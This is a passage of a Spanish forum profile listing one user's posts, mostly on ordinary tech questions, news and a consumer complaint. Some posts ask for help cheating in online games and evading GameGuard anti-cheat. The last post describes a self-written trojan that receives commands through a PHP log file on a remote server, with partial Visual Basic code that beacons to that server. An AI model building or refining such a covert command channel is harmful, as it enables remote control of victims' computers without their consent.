Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Spider-Net

#1
Aquí os dejo el vídeo que salió hoy oficialmente de Mr. President. La canción que Kim Dotcom (el creador de MegaUpload) le ha dedicado a Barack Obama:

[youtube=640,360]http://www.youtube.com/watch?v=MokNvbiRqCM[/youtube]

Con subtítulos en español:

[youtube=640,360]http://www.youtube.com/watch?v=Tyt7uOhBisg[/youtube]

La web oficial abierta hoy también es: http://www.kim.com
El twitter oficial de Kim Dotcom: http://www.twitter.com/kimdotcom (ya cuenta con más de 100.000 seguidores, únete a la causa!)

Este post es una forma de que entre todos nos unamos a la causa por la lucha contra el injusto cierre de MegaUpload. Que esperemos vuelva pronto.

Menéalo!

Hemos conseguido que llegue a portada en menéame! Gracias a los que lo menearon.
#2
Un ingeniero holandés hace realidad el sueño de volar como un pájaro con unas alas impulsadas por sus brazos

[youtube=425,350]http://www.youtube.com/watch?v=GYW5G2kbrKk[/youtube]

Una de las pocas cosas personales que se encuentran en los cuadernos de notas de Leonardo es esta historia en la que cuenta cómo siendo niño entendió que su vida giraría en torno a la utopía de poder volar como un pájaro, construyéndose sus propias alas.

Jarno Smeets, un ingeniero mecánico de los Países Bajos fascinado por las nuevas tecnologías, la robótica, la aerodinámica en general también ha perseguido ese sueño. Y parece que lo ha hecho realidad, al convertirse en el primer hombre en la historia que ha realizado con un éxito un vuelo con unas alas de construcción propia inspiradas en el movimiento y la estructura de la verdaderas alas de las aves.

Smeets despegó desde el suelo en un parque en La Haya el pasado domingo 18 de marzo para realizar un vuelo de unos 100 metros de aleteo, que duró aproximadamente un minuto, después de lo cual aterrizó a salvo como sólo aterrizan los pájaros, desplegando imponente y victorioso sus alas.



Hasta ahora la gente había asumido que era imposible volar con alas de pájaro con la fuerza muscular humana, pero Smeets diseñó su propio sistema para resolver este problema con dos controladores de movimiento de la Wii, los acelerómetros de un teléfono inteligente HTC Wildfire S y unos pequeños motores TURNIGY para kits de robótica.

Este mecanismo combinado le ha permitido crear un sistema que amplifica la potencia de sus músculos para mover unas alas de 17 metros cuadrados, mientras a la vez puede mover los brazos libremente sin ningún riesgo de rompérselos. Y aunque no son pocos los que tildan el vídeo de fake, lo cierto es que Jarno lleva más de 3 años involucrado en cuerpo y alma en este proyecto para hacer realidad el sueño más antiguo del hombre.



Fuente: http://blogs.lainformacion.com/futuretech/2012/03/20/un-ingeniero-holandes-hace-realidad-el-sueno-de-volar-como-un-pajaro-con-unas-alas-impulsadas-por-su-fuerza-muscular/




¿Qué opináis del tema? Muchísima gente apunta a que es un fake, pero es cierto que yo hace tiempo que veo noticias relacionadas, donde este ingeniero ha ido cada vez perfeccionando más sus alas. Lleva años trabajando en ellas, pero es cierto que en ciertos momentos el vídeo es un poco dudoso. A mí me gustaría que fuese cierto, pero no estoy seguro. ¿Qué piensan ustedes?
#3
Hola a tod@s. Ya que no soy ningún experto en hardware me paso por aquí a ver si alguno de ustedes puede echarme una mano.

Resulta que tengo un portátil Alienware M15X. Hace un par de años que lo tengo, las especificaciones son:

Intel Core i7 1,60Ghz con turbo mode e hyper threading.
3Gb DDR 3
nVidia GeForce GTX 260M
HDD 320Gb 7200rpm

Tiene instalado Windows 7 64 bits.

Ahora el problema... siempre he jugado con mi PC bien, pero últimamente notaba como que le costaba más mover los juegos. He pasado varios anti-spywares que borraron varias cosas y los FPS subieron bastante. Casi el doble. El caso es que abro cualquier juego, se me pone a 50-60fps y cuando llevo jugando unos 10-15 minutos de repente caen los fps a 10-15, incluso menos :S
La única solución es cerrar el juego y volverlo a abrir y entonces los FPS vuelven a subir, pero vuelve a pasar lo mismo, que al rato de estar jugando caen los FPS a 10-15.
He estado buscando por internet y he visto muchísima gente con el problema, pero ninguna solución razonable. Todo el mundo dice lo mismo, que si el PC no puede tirar con esos juegos y cosas así.

Los juegos que estoy probando son MMO como Aion. He jugado Aion durante 1 año con este mismo equipo y nunca tuve este problema, osea que el problema no es que el PC no pueda con el juego, debe ser otra cosa.
También he leído gente que dice que mejor bajarle un poco la calidad gráfica, tampoco sirve. Ya ponga los gráficos al máximo como al mínimo, el resultado es el mismo, la misma cantidad de FPS y el mismo problema, al rato bajan en picado a 10 ó 15.
Mucha gente habla de que puede ser sobrecalentamiento. Tengo el portátil en una base con ventilador y tiene espacio suficiente por detrás para que salga bien el aire de dentro. Siempre ha estado en estas mismas condiciones y funcionaba bien, no entiendo por qué ahora le pasa esto.

He pensado en formatear, pero me jodería formatear, tener que volver a instalarlo todo de nuevo para que el problema sea de software y no sirva para nada. He leído por internet gente con el mismo problema, que han formateado varias veces y continúan con el mismo problema.

Todo esto me hace pensar que pueda ser un problema de hardware. Pero haciendo un chequeo con la aplicación de diagnósticos nativa no da ningún problema de gráfica, ni de RAM, ni de procesador ni nada de eso.Y si ejecuto el medidor de rendimiento de Windows 7 me mantiene los mismos resultados que ha dado siempre por eso no sé ya que hacer.

¿Alguna idea de qué puedo hacer para solucionar el problema?
#4
Hola a tod@s,

Estoy haciendo un nuevo proyecto y tengo un problema que me ha parecido algo curioso  y no sé por qué será. Así que vengo a preguntaros a ver si a alguien más le ha pasado y sabe como solucionarlo XD.

La web es un portafolio, tiene poco contenido y es bastante sencilla así que está hecha en Ajax. Tengo 4 divs, uno para cada apartado de la web y uso la función de jquery FadeIn para mostrar el div de la categoría que quiere ver el usuario y la función hide() de jquery para ocultar el resto.

En 2 de los divs tengo puesto un carousel (slider) para que las imágenes vayan pasando y quede bonito. Todo funciona perfecto, pero el carousel tiene un tiempo en milisegundos de 5000. Este es el tiempo que tarda en cambiar entre una imagen y otra.
Aquí viene lo curioso. El slider funciona bien, pero cuando cambio a otras categorías durante un rato y luego vuelvo al carousel, me encuentro que ya no respeta los 5000 milisegundos en los cambios entre imagen e imagen, sino que empieza a cambiar sin parar. Al cabo de un rato se vuelve a estabilizar.

Me da la sensación que mientras está oculto va como acumulando el tiempo y las imágenes que deberían de ir pasando, pero al estar oculto ese div no lo hace, y al volver al div del carrousel como que ejecuta todas las vueltas que tiene acumuladas XDD. He llegado a esa conclusión porque mientras más tiempo permanezco en otras categorías, más vueltas da luego cuando vuelvo al carousel. Así que me gustaría saber si a alguno de vosotros os ha pasado algo similar y como arreglarlo.
Lo he probado en varios navegadores y en todos pasa igual, así que no es problema del navegador.

Dejo algo de código sobre el carousel por si alguien encuentra algún fallo:

Este es el código del menú que oculta y muestra la categoría correspondiente, y la inicialización del carousel con el delay de 5000 milisegundos:

Código (javascript) [Seleccionar]
$(document).ready(function () {
// Menu
$('#navMenu li').append('<div class="hover"><\/div>');
$('#navMenu li').hover(
function() {
$(this).children('div').fadeIn(800);
},
function() {
$(this).children('div').fadeOut(800);
});
$('#home').click(
function() {
$('#div-aboutme').hide();
$('#div-portfolio').hide();
$('#div-contact').hide();
$('#contact-form').validationEngine('hide');
$('#div-home').fadeIn(2000);
});
$('#aboutme').click(
function() {
$('#div-home').hide();
$('#div-portfolio').hide();
$('#div-contact').hide();
$('#contact-form').validationEngine('hide');
$('#div-aboutme').fadeIn(2000);
$('#ext-about').fadeIn(2000);
});
$('#portfolio').click(
function() {
$('#div-home').hide();
$('#div-aboutme').hide();
$('#div-contact').hide();
$('#contact-form').validationEngine('hide');
$('#div-portfolio').fadeIn(2000);
});
$('#contact').click(
function() {
$('#div-home').hide();
$('#div-aboutme').hide();
$('#div-portfolio').hide();
$('#div-contact').fadeIn(2000);
});


       // Slider o carousel
      $('#slider1').s3Slider({
timeOut: 5000
      });
});


El código del slider que estoy usando:
Código (javascript) [Seleccionar]

/* ------------------------------------------------------------------------
s3Slider

Developped By: Boban Karišik -> http://www.serie3.info/
        CSS Help: Mészáros Róbert -> http://www.perspectived.com/
Version: 1.0

Copyright: Feel free to redistribute the script/modify it, as
   long as you leave my infos at the top.
------------------------------------------------------------------------- */


(function($){ 

    $.fn.s3Slider = function(vars) {       
       
        var element     = this;
        var timeOut     = (vars.timeOut != undefined) ? vars.timeOut : 4000;
        var current     = null;
        var timeOutFn   = null;
        var faderStat   = true;
        var mOver       = false;
        var items       = $("#" + element[0].id + "Content ." + element[0].id + "Image");
        var itemsSpan   = $("#" + element[0].id + "Content ." + element[0].id + "Image span");
           
        items.each(function(i) {
   
            $(items[i]).mouseover(function() {
               mOver = true;
            });
           
            $(items[i]).mouseout(function() {
                mOver   = false;
                fadeElement(true);
            });
           
        });
       
        var fadeElement = function(isMouseOut) {
            var thisTimeOut = (isMouseOut) ? (timeOut/2) : timeOut;
            thisTimeOut = (faderStat) ? 10 : thisTimeOut;
            if(items.length > 0) {
                timeOutFn = setTimeout(makeSlider, thisTimeOut);
            } else {
                console.log("Poof..");
            }
        }
       
        var makeSlider = function() {
            current = (current != null) ? current : items[(items.length-1)];
            var currNo      = jQuery.inArray(current, items) + 1
            currNo = (currNo == items.length) ? 0 : (currNo - 1);
            var newMargin   = $(element).width() * currNo;
            if(faderStat == true) {
                if(!mOver) {
                    $(items[currNo]).fadeIn((timeOut/6), function() {
                        if($(itemsSpan[currNo]).css('bottom') == 0) {
                            $(itemsSpan[currNo]).slideUp((timeOut/6), function() {
                                faderStat = false;
                                current = items[currNo];
                                if(!mOver) {
                                    fadeElement(false);
                                }
                            });
                        } else {
                            $(itemsSpan[currNo]).slideDown((timeOut/6), function() {
                                faderStat = false;
                                current = items[currNo];
                                if(!mOver) {
                                    fadeElement(false);
                                }
                            });
                        }
                    });
                }
            } else {
                if(!mOver) {
                    if($(itemsSpan[currNo]).css('bottom') == 0) {
                        $(itemsSpan[currNo]).slideDown((timeOut/6), function() {
                            $(items[currNo]).fadeOut((timeOut/6), function() {
                                faderStat = true;
                                current = items[(currNo+1)];
                                if(!mOver) {
                                    fadeElement(false);
                                }
                            });
                        });
                    } else {
                        $(itemsSpan[currNo]).slideUp((timeOut/6), function() {
                        $(items[currNo]).fadeOut((timeOut/6), function() {
                                faderStat = true;
                                current = items[(currNo+1)];
                                if(!mOver) {
                                    fadeElement(false);
                                }
                            });
                        });
                    }
                }
            }
        }
       
        makeSlider();

    }; 

})(jQuery); 


El cógido HTML correspondiente es:

Código (html4strict) [Seleccionar]

<div class="content">
<div id="logo">
<a href="http://www.mainpage.com"><img src="images/logo.png" border="0" alt="logo" /></a>
</div>
<div class="botonera">
<ul id="navMenu">
<li id="home"><img src="images/iconhome.png" border="0" alt="home" /><a href="javascript: void(0);">Home</a></li>
<li id="aboutme"><img src="images/iconabout.png" border="0" alt="aboutme" /><a href="javascript: void(0);">About me</a></li>
<li id="portfolio"><img src="images/iconproyects.png" border="0" alt="portfolio" /><a href="javascript: void(0);">Portfolio</a></li>
<li id="contact"><img src="images/iconcontact.png" border="0" alt="contact" /><a href="javascript: void(0);">Contact me</a></li>
</ul>
</div>

<div class="home">
<div id="div-home">
<div id="slider1">
<ul id="slider1Content">
<li class="slider1Image">
<a href="http://www.url1.com" target="_blank"><img src="images/wide/1.jpg" alt="url1" /></a>
<span class="bottom"><strong>Pagina1</strong><br /></span></li>
<li class="slider1Image">
<a href="http://www.url2.com" target="_blank"><img src="images/wide/2.jpg" alt="url2" /></a>
<span class="bottom"><strong>Pagina2</strong><br /></span></li>
<li class="slider1Image">
<a href="http://www.url2.com" target="_blank"><img src="images/wide/3.jpg" alt="url3" /></a>
<span class="bottom"><strong>Pagina3</strong><br /></span></li>
<div class="clear slider1Image"></div>
</ul>
</div>
</div>
<div id="div-aboutme">
About me       
</div> 
<div id="div-portfolio">
Portfolio
                </div>
<div id="div-contact">
Contact me
</div>       
</div>       
</div>


Sé que podría cargar el contenido de los divs con jquery load() o html() pero no es necesario, porque el contenido es bastante simple. Es sólo texto o alguna que otra imagen por ese motivo simplemente oculto o muestro los divs. El único problema es lo del carousel, que no sé por qué motivo hace eso XD.
No pongo el código del CSS porque creo que es irrelevante, no creo que tenga nada que ver con esto ya que el problema es en el timeOut del slider. Vamos que es cuestión de javascript seguro.

Un problema raro, que veo complicado de solucionar, a ver si por casualidad alguno de vosotros ha tenido alguna vez un problema similar y encontró alguna solución.

Saludos.
#5
Desarrollo Web / Servidor video-streaming
28 Mayo 2011, 22:39 PM
Hola a todos,

Os quería hacer una consulta, a ver si me podéis ayudar. Tengo un cliente que quiere un portal de video-streaming, tipo youtube, vimeo, tu.tv etc. Desarrollar el portal, la base de datos y demás no es problema, pero nunca he montado un portal de este tipo, por eso no sé si algún user por aquí con algo de experiencia en el tema sabe de algún buen servidor para este tipo de servicios.

El portal sería para alguna temática en exclusiva y no sé exactamente la cantidad de usuarios que llegará a manejar, pero si tiene unas 5000 visitas al día (que lo veo mucho), me gustaría que aguantase medianamente bien el tirón.

Obviamente se necesitaría un servidor dedicado, con bastante capacidad para almacenar los vídeos, y una buena conexión de subida, he estado consultando alguno pero os pido opinión. Habéis probado alguno? tenéis alguna recomendación de alguno que sepáis que va a funcionar bien? No me gustaría hartarme de programar y montar todo el portal para que luego falle por falta de ancho de banda u otros tipos de problemas con el servidor y que quede yo mal frente al cliente.

A ver si me podéis dar alguna sugerencia u opinión.

Un saludo y gracias de antemano.
#6
Ayer ocurrió algo muy bonito. Mi amigo Juan Gómez-Jurado, escritor de fama internacional, autor de las novelas Espía de Dios, Contrato con Dios y El Emblema del Traidor, puso a disposición de los lectores su primera novela en su cuenta de Twitter.

Gómez-Jurado, que en los últimos meses se ha expresado en favor del cambio al libro electrónico, y con una postura reacia a la Ley Sinde y a la demonización de las descargas, publicó en ALT1040 un artículo controvertido titulado La Piratería no existe.

Poco después, como reacción, recibió una carta del ínclito Alejandro Sanz (ultradefensor de los derechos de autor y que está convencido de que la piratería y el hambre en África están relacionados), donde le instaba a tener huevos de poner su novela gratis.

Su propuesta ha sido ésta:



La respuesta ha sido enorme. En cuestión de horas, a pesar de la crisis, la incertidumbre, se han donado más de 4000 euros a Save The Children (que nos consten, sin contar anónimos), y no me quiero ni imaginar el número de descargas de Espía de Dios. Emocionante, maravilloso.

Descargar 'Espía de Dios' | aquí
Donar a Save The Children


Fuente: Esperanza y Constancia      |      Menealo
#7
Hola a todos!

Publico este tema debido a la cantidad de abusos a los que somos sometidos los usuarios de prácticamente todas las compañías de telefonía, en mi caso Vodafone.

Su última jugarreta ha sido cambiar a TODOS los usuarios que usan smartphone a una tarifa de internet plus de 15€ al mes. Yo disponía de una tarifa de 12€ que me dieron de alta a la vez que yo compré mi terminal HTC Magic, ahora me dicen que mi terminal al ser Smartphone requiere una tarifa internet plus. Después de varios días discutiendo con ellos, poniendo reclamaciones vía web y demás he conseguido que por teléfono me restablezcan la tarifa de 12€ pero según he leído por internet a otros usuarios le han hecho lo mismo y al poco tiempo el sistema automáticamente te vuelve a asignar la tarifa de 15€.

La diferencia es muy simple, la tarifa de 12€ es una tarifa de datos 3G de hasta 3,8Mbps mientras que la de 15€ es una tarifa de datos HSDPA de hasta 7,2Mbps. Según ellos te la cambian porque es más beneficiosa para ti, pero lo gracioso es que ni te avisan de que te la van a cambiar ni te preguntan si quieres hacerlo. Ellos automáticamente te dan de alta a la tarifa y ya está. Teniendo en cuenta que la conexión HSDPA NO tiene cobertura en todas partes es un timo, ellos no te avisan de eso. El teléfono móvil te pone un icono cuando estás conectado por 3G y otro distinto cuando te conectas por HSDPA, en los 4 días que yo he tenido activa la tarifa de 15€ HSDPA (sin mi permiso) mi móvil no ha utilizado esa conexión de datos en ningún momento. Ha estado continuamente utilizando la red 3G y por lo tanto no ha sobrepasado nunca los 3,8Mbps (lo mismo que ofrece la tarifa de 12€).

Estoy indignado con la atención al cliente, que tras varios días de pasarte de un operador a otro y decir que no pueden hacer nada, que pongas una reclamación por fax etc etc, he conseguido que me la cambie otro operador sin problema, osea que el resto de operadores me ha mentido deliberadamente y por eso hago este post porque estoy indignado y como denuncia de estos abusos.

Voy a tramitar una reclamación formal a través de la oficina del consumidor y os animo a todos los usuarios que os habéis sentido engañados alguna vez por cualquier operador a compartir vuestra experiencia en este mismo post, para que haya pruebas de que no es un caso aislado y que las operadoras tienen descontentos a muchísimos usuarios.

Os invito a visitar también el blog de Miguel Angel Payeras el cual está cursando una denuncia formal contra Vodafone por este tipo de abusos y mediante su blog está intentando demostrar que no es un caso aislado y que hay muchísimos usuarios con problemas similares, por lo tanto os animo a visitar su blog y a contar vuestra experiencia en los comentarios de su post. Podéis conocer también su experiencia en este enlace.

Por otra parte os informo que existe un grupo en facebook que he descubierto hoy para gente que quiere denunciar los abusos de Vodafone contra los usuarios.

Eso es todo, perdón por enrollarme pero me gustaría que las operadoras no quedasen impunes después de los continuos abusos a los usuarios, y que compartáis vuestra experiencia tanto en este foro como en el blog de Miguel Angel o donde queráis, nos puede servir para formar una denuncia colectiva y que las operadoras se replanteen modificar su pésimo servicio de atención al cliente.

Unidos somos más fuertes ;)

#8
No sé si os habéis dado cuenta que cuando un usuario escribe la palabra "javascript" el post se vuelve así como "medio loco", cambia el orden de las frases y es complicado de entender.

Igual en algunas secciones del foro no es importante pero en la sección "Desarrollo Web" es un verdadero problema.

De hecho acabo de escribir un post en dicha sección comentando una duda sobre "javascript" y AJAX y las frases han perdido completamente el sentido ya que me las ha colocado en desorden por lo que no lo entiendo ni yo.

No me extrañaría nada que en este post pasase lo mismo, lo comento porque me parece un tema importante que corregir, sobre todo para el subforo de "Desarrollo Web" donde se usa constantemente el término "javascript".

Saludos!
#9
Hola a tod@s. Estoy programando un panel completo para mi NetBook. Ya sabemos que estos cacharritos son muy útiles (al menos para mí). Pero la resolución de 1024x600 deja poquito espacio en el escritorio para colocar iconos y demás así que estoy programando un panel ocultable y personalizable donde poder poner tus propios iconos y demás. Cuando lo termine lo postearé por aquí.

El caso es que he programado un drag&drop sencillo para que cuando arrastres un fichero o directorio desde el explorador de windows al panel automáticamente crea un icono que posee el icono de ese programa y el enlace al mismo (digamos que es un acceso directo desde el programa ejecutado con ShellExecute).

Hasta ahí todo bien, pero me gustaría que si arrastro al panel un acceso directo de Windows en lugar de tomar la ruta de ese acceso directo y su icono, me gustaría tomar el archivo original de modo que si yo tengo en mi escritorio un acceso directo a Dreamweaver en lugar de tomar el icono y enlace de:
C:\Documents And Settings\Usuario\Escritorio\Dreamweaver.Ink
Que obtenga al ruta real de ese acceso y tome el icono y enlace a:
C:\Archivos de Programa\Adobe\DreamWeaver CS3\Dreamweaver.exe

Simplemente quiero saber como obtener la ruta real de un acceso directo, no sé si habrá algún módulo o alguna API que lo haga. He buscado en el foro y en google y la verdad es que no he encontrado nada, sé que el propio CommonDialog si abres un acceso directo con él, automáticamente haya la ruta real del fichero, así que me gustaría poder hacer algo así.

Perdón por enrollarme tanto pero me gusta explicar bien las cosas xDD
Gracias por leer y gracias por ayudarme de antemano.

Un saludo
#10
Programación Visual Basic / Obtener color
3 Febrero 2009, 01:52 AM
Hola a todos. Hace tiempo que no preguntaba nada por aquí. Pero hoy llevo un buen rato buscando en google y no encuentro lo que necesito.

Lo que me gustaría exactamente es hacer un programa en VB que me permita hallar el color de cualquier pixel en la pantalla. No me refiero a un pixel de un picturebox ni nada de eso. Me refiero a cualquier pixel de la pantalla, se encuentre o no dentro de mi propio programa. Por ejemplo que yo pueda indicarle un pixel de mi escritorio y me devuelva el color, por ejemplo rojo.

Me daría igual como me devolviese el color: en hexadecimal, RGB, VB o como sea. Yo ya lo transformaría para mis necesidades.
El caso es que quiero hacer una especie de bot en un juego. Pero tiene bastante protección y detecta en seguida si intentas inyectarle una dll. Por lo tanto mis conocimientos no llegan para burlar este tipo de seguridad, si alguien tiena algún buen manual sobre inyección anti protección que me lo comente y lo leo  :xD

Pero si creo que sabiendo el color de determinadas partes de la pantalla puedo hacer lo mismo, por ejemplo, la barra de HP o MP es roja o azul y al bajar se vuelve blanca. Si controlo el color de esos pixels, puedo hacer que mi programa haga x cosa cuando el pixel se ponga blanco, que querrá decir que la vida está vacía y podría hacer por ejemplo que tomara una poción. Un ejemplo gráfico sencillo:



Aquí estarían las barras repletas al máximo y yo obtendría el color de éstas digamos que son rojo y azul puro, obtengo el color del pixel que he pintado en amarillo para destacar, y con un temporizador compruebo cada 2 segundos por ejemplo cual es el color de ese pixel.



Cuando recibiese daño o gastase MP la barra bajaría y quedaría más o menos como en la siguiente imagen. El pixel marcado en verde es el que yo estaría controlando el color. Al detectar que ha cambiado el color a blanco realizaría la acción, por ejemplo en este caso tomar pociones. Y así automáticamente cada vez que el HP o MP bajase de ese nivel se auto-sanaría sólo y así me ahorro tener que andar controlándolo xD.

Si a alguien se le ocurre alguna forma mejor de hacerlo bienvenida será, pero que quede claro que el juego tiene GameGuard y no es fácil inyectar una DLL porque lo detecta en seguida y te saca del juego.

Perdón por extenderme tanto pero quería explicarlo bien, si alguien tiene alguna idea de como obtener el color de un pixel determinado de la pantalla me serviría bastante.

Un saludo y gracias de antemano!
#11
Hola a todos. Estos días he estado desarrollando una aplicación de análisis de frecuencia. Me interesó tras estudiar un poco este tipo de análisis para descifrar algoritmos simples de sustitución de caracteres como por ejemplo la cifrado César. Para el que no lo sepa...

En el criptoanálisis, el análisis de frecuencias es el estudio de la frecuencias de las letras o grupos de letras en un texto cifrado. Es un método de apoyo para la ruptura de cifrados clásicos.

CitarEl análisis de frecuencias está basado en el hecho de que, dado un texto, ciertas letras o combinaciones de letras aparecen más a menudo que otras, existiendo distintas frecuencias para ellas. Es más, existe una distribución característica de las letras que es prácticamente la misma para la mayoría de ejemplos de ese lenguaje. Por ejemplo, en inglés la letra E es muy común, mientras que la X es muy rara. Igualmente, las combinaciones ST, NG, TH y QU son pares de letras comunes, mientras que NZ y QJ son raros. La frase mnemotécnica "ETAOIN SHRDLU" agrupa las doce letras más frecuentes en los textos ingleses. En español, las vocales son muy frecuentes, ocupando alrededor del 45% del texto, siendo la E y la A las que aparecen en más ocasiones, mientras que la frecuencia sumada de F, Z, J, X, W y K no alcanza el 2%.

En algunos cifradores, las propiedades naturales del texto plano se preservan en el texto cifrado. Dichos esquemas pueden ser potencialmente objeto de ataques de sólo texto cifrado.

El caso es que estudié un poco todo esto y busqué alguna aplicación que me permitiese hacer este tipo de análisis pero no encontré ninguna, encontré una en inglés que me aconsejaron en el foro de criptografía, pero sólo funcionaba con sustitución de letras, y yo, basándome en el libro de "El Escarabajo de Oro" de Edgar Allan Poe quería hacer un análisis de frecuencia del mensaje cifrado del libro, y ese programa no me servía. Así que como no encontraba nada, ni en inglés ni en Español, me he dedicado a hacer yo uno mismo. Es muy sencillo, simplemente escribes un texto o bien lo importas desde un txt y el programa realiza un análisis de la frecuencia con la que aparecen los caracteres en el texto y muestra una gráfica con el resultado. Luego permite abrir unas gráficas con las letras más frecuentes en el inglés y en el español y con comparativas se puede deducir el significado de estos textos. Para quien no lo entienda muy bien, tiene un ejemplo que explicaron hace un tiempo en este mismo foro:
http://foro.elhacker.net/criptografia/criptografia_el_escarabajo_de_oro_uso_de_analisis_de_frecuencia-t212428.0.html

Esta aplicación nos ayudaría a hallar la tabla de caracteres que obtiene el autor de dicho relato por lógica.

Bueno, siento haberme extendido tanto, pero quería explicar bien qué hace esta herramienta, y aquí la comparto con vosotros. Se aceptan críticas, sugerencias y modificaciones del código.



The Golden Bug Source.zip
Con el Source adjunto el libro de "El Escarabajo de Oro" en pdf para quien quiera leerlo, es un relato muy cortito. También lo pueden encontrar en wikisource ya que es de libre distribución.

PD: Para todo aquel que crea que este tipo de cifrado está obsoleta que investigue como funciona la cifrado WEP (para redes wifi) y que investigue qué método usa aircrack para crackear las contraseñas :)

Saludos!
#12
Juegos y Consolas / ¿Memoria "congelada"?
18 Agosto 2008, 01:42 AM
Hola a tod@s. Antes que nada deciros que no sabía donde poner este tema exactamente así que lo pongo aquí.Si algún moderador considera oportuno moverlo, que lo haga ;)

A ver mi problema es que estoy probando a modificar un valor en memoria, un valor de un juego. Uso la herramienta T-Search... no sé si la conoceréis... pero permite buscar valores en memoria y modificarlos.Bien, pues en muchos juegos ya lo he hecho.Busco y modifico el valor que quiero, por ejemplo el dinero o la vida y ya está. Soy rico e invencible xddd. La cosa es que en este juego en concreto tengo un problema. Al intentar cambiar el valor y congelarlo, no lo permite, si por ejemplo busco el valor 100 (porque es la vida que tengo en el juego) y lo encuentro y lo congelo para que nunca baje, esto no surte efecto y la vida baja normal...

Si la vida está en 70 por ejemplo y modifico el valor por 100, automáticamente se vuelve el valor a 70, aunque congele el valor en memoria con la opción "freeze". No hay manera de modificar estos valores y me gustaría modificarlos.

El juego es online, pero he modificado valores en otros juegos online y nunca tuve este problema... Además en este juego en concreto tiene pinta de que estos valores corren del lado del cliente y si consigo modificarlos podré tener vida infinita y esas tonterías. Me ha pasado en un par de juegos ya y me gustaría saber por qué y si hay forma de solucionarlo.

¿Alguien sabe como modificar estos "valores restringidos"?¿Alguna idea, algún manual, alguna ayuda?

Saludos, y gracias de antemano!
#13
Multimedia / ¿Programa de edicion de video?
28 Diciembre 2007, 14:49 PM
Hola a todos, quería haceros una pregunta. A ver si conociáis algún programa bueno para la edición de vídeo, cortar el vídeo, añadir efectos, poner música, añadirle textos y demás. Quiero que tenga bastantes posibilidades, digamos que si yo preguntase en el foro de diseño gráfico por un buen programa de diseño de imagen me dirían: Photoshop, Gimp, Corel Draw... o alguno así porque son los más potentes, pues quería preguntar aquí si alguien conoce programas potentes pero para la edición de vídeo porque la verdad no conozco este tema y necesito editar algunos vídeos, espero vuestra respuesta.

Un saludo y gracias ;)
#14
PHP / Ayuda con PHP e includes
13 Septiembre 2007, 22:02 PM
Hola, venía a ver si podían ayudarme porque llevo un buen rato comiendome el coco y no hay forma de hacer algo que quiero. No sé mucho de PHP, lo básico, y estoy haciendo mi web en php y así voy aprendiendo, y me ha surgido un problema el cual he buscado ya en google y he usado el buscador del foro pero no he encontrado respuestas.

El caso es que mi web está estructurada de esta forma:

Es una tabla colocada con 2 filas y en la fila inferior tiene dos columnas, así el logo, osea el header de la web es un include('header.htm');, el menu es un include('menu.php'); y luego el principal es una variable contenido con un switch y según el enlace que abras, este abre la variable, osea, include($contenido);, el switch se encarga de dar el valor correspondiente a contenido y todo funciona muy bien.

El problema es que hay una sección llamada noticias.php. Esta sección tiene otro include ya que instalé un gestor de noticias en mi web y la sección noticias.php tiene su diseño correspondiente y dentro un include("../noticias/news.php"); el problema es que este include no lo carga, se queda vacío, carga lo que es el diseño de noticias.php pero no el include("../noticias/news.php"); entonces no sé que hacer para que lo cargue.
¿El problema es que no es posible usar un include dentro de otro?,osea si yo tengo un archivo x que incluya al archivo y, el archivo y no puede tener a su vez un include que incluya un archivo z??, ese es mi caso y no encuentro solución, a ver si alguno de vosotros puede ayudarme, como podría solucionar esto?, alguna idea por favor?

Saludos y gracias de antemano.
#15
Buenas, una vez más estoy aquí con un problemilla, bueno una duda existencial que tengo :O a ver si me la podéis resolver.

Estoy programando una aplicación, se le puede llamar troyano o como sea. La cosa es que por los problemas de conexiones con routers, firewalls y demás, el troyano funciona de la siguiente forma.
Un archivo PHP se aloja en cualquier server junto a un log.txt. El troyano envia los datos por GET osea http://miserver.com/ miarchivo.php?comando=comando a ejecutar
Este archivo.php captura el comando y lo deja en el log.txt

El server va descargando el archivo log.txt y según el comando que tenga, lo ejecuta.
Bien pues lo hago con la api wininet para ahorrar dependencias, ya sé que puedo hacer eso con Winsock y con Inet pero no quiero dependencias para el server de un troyano.
Bueno pues el código en general funciona todo bien, tarda apenas 1 ó 2 segundos en realizarse todo el proceso pero la cosa es que el server para comprobar que comando tiene que ejecutar tiene que descargar el archivo log.txt continuamente, lo hago con un timer, pero esque al tener que conectar tantas veces se ralentiza y no quiero que se consuman tantos recursos...

Me gustaría que conectase y una vez abierta la conexión el resto de veces descargase el archivo puesto que la conexión no la cierro, pero no funciona...alguien podría decirme como arreglarlo?, esque si obligadamente tengo que conectar cada ve que quiero recargar el archivo, osea cada segundo, puff, eso lo va a notar el rendimiento del pc, consume más recursos... se nota considerablemente...

El código es el siguiente, a ver si me podéis ayudar.
Código (vb) [Seleccionar]

' variables generales
Dim data As String
Dim x As Boolean
' Constantes para las funciones Api
Const scUserAgent = "API-Guide test program"
Const INTERNET_OPEN_TYPE_DIRECT = 1
Const INTERNET_FLAG_RELOAD = &H80000000
Const INTERNET_FLAG_NO_CACHE_WRITE = &H4000000
' Crea conexión a internet
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" ( _
    ByVal sAgent As String, _
    ByVal lAccessType As Long, _
    ByVal sProxyName As String, _
    ByVal sProxyBypass As String, _
    ByVal lFlags As Long) As Long
' Abre URL
Private Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" ( _
    ByVal hInternetSession As Long, _
    ByVal lpszUrl As String, _
    ByVal lpszHeaders As String, _
    ByVal dwHeadersLength As Long, _
    ByVal dwFlags As Long, _
    ByVal dwContext As Long) As Long
' Cierra conexión
Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer
'CONTENIDO DEL FICHERO
Private Declare Function InternetReadFile Lib "wininet" ( _
ByVal hFile As Long, _
ByVal sBuffer As String, _
ByVal lNumBytesToRead As Long, _
lNumberOfBytesRead As Long) As Integer
'Variables para recargar constantemente
Dim hOpen As Long
Dim hFile As Long

'///////// MANDAMOS MENSAJE ONLINE AL EJECUTAR ///////////////
Private Sub Form_Load()
'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
Dim hOpen As Long
Dim hFile As Long
Dim Url As String

Url = "http://miserver/log.php?comando=online"

        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
        vbNullString, vbNullString, 0)
        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
